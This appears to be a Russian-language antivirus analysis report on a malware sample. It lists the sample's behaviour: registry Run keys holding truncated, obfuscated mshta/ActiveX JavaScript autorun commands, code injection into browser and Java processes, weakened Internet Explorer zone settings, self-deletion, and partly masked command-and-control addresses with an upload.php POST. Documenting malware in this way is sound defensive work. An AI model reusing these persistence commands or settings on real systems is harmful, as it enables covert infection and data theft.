Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:D4NA3nBELQ="lG";dx8=new%20ActiveXObject("WScript.Shell");hPK4Rou5Wf="M";Mt9pQ=dx8.RegRead("HKCU\\software\\...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] ' 85580900' = 'mshta javascript:IsvJwAJ7B="CYP1I";o04w=new%20ActiveXObject("WScript.Shell");XN8A1UrVua="yem7O";GKT2Q=o04...
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:q5MbWuqK="9DN";Q6z6=new%20ActiveXObject("WScript.Shell");tVkNt8Z="o";u2L0dM=Q6z6.RegRead("HKLM\\software\\a...
Вредоносные функции:
Запускает на исполнение:
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\dllhost.exe'
- '<SYSTEM32>\taskhost.exe'
Внедряет код в
следующие пользовательские процессы:
- java.exe
- javaw.exe
- firefox.exe
- iexplore.exe
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
Изменения в файловой системе:
Создает следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Удаляет следующие файлы:
- <LS_APPDATA>\Microsoft\Windows\Temporary Internet Files\Content.IE5\YIF7DGLM\upload[1].htm
Самоудаляется.
Сетевая активность:
Подключается к:
- '80.#5.35.62':80
- '11#.#7.248.251':80
- '61.##5.22.249':80
- '32.##.201.24':8080
- '16#.#62.181.56':80
- '33.##0.49.179':80
- '20#.#11.242.24':80
- '59.##4.173.57':80
- '8.###.198.42':80
- '10#.#02.76.193':80
- '22.##.50.198':80
- '10#.#7.47.114':8080
- '24#.#6.92.119':80
- '21#.#41.164.31':8080
- '18.##0.1.146':443
- '10#.#5.245.32':80
- '93.##2.53.189':80
- '18#.#1.149.76':80
- '20#.#9.94.177':8080
- '21#.#41.203.126':80
- '21#.#94.250.98':80
- '15#.94.67.5':80
- '15#.#26.6.104':80
- '16#.#0.62.102':80
- '22#.#37.195.133':80
- '20#.#06.86.255':80
- '12#.#93.154.60':80
- '10#.#1.190.166':80
- '25.##.169.127':80
- '86.##8.30.169':80
- '19#.#66.61.143':80
- '18.##.254.137':80
TCP:
Запросы HTTP POST:
- http://15#.94.67.5/upload.php
UDP:
- DNS ASK dn#.##ftncsi.com
- DNS ASK microsoft.com
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
- ClassName: '' WindowName: '„„„„„„„„„„ЃЃЃЃЃЃ‚‚‚‚‚‚...
